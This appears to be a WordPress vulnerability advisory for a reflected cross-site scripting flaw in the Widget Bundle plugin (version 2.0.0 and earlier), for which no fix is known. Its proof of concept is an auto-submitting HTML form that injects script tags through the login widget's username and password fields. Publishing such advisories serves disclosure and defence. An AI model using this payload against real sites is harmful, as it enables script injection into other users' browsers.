WordPress Plugin Vulnerabilities

Widget Bundle <= 2.0.0 - Unauthencated Reflected XSS

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against only unauthenticated users

Proof of Concept

On a site with the User Login/Registration widget active, have an unauthenticated user send a post request to the any page where the widget appears:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com" method="post">
        <input type="hidden" name="login_username" value='"><script>alert(1)</script>' />
        <input type="hidden" name="login_password" value='"><script>alert(2)</script>' />
        <input type="hidden" name="widget_login_submit" value="Login" />
        <input type="submit" value="Submit" />
    </form>
</body>
```

Affects Plugins

No known fix

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-05-31 (about 30 days ago)
Added
2024-05-31 (about 29 days ago)
Last Updated
2024-05-31 (about 29 days ago)

Other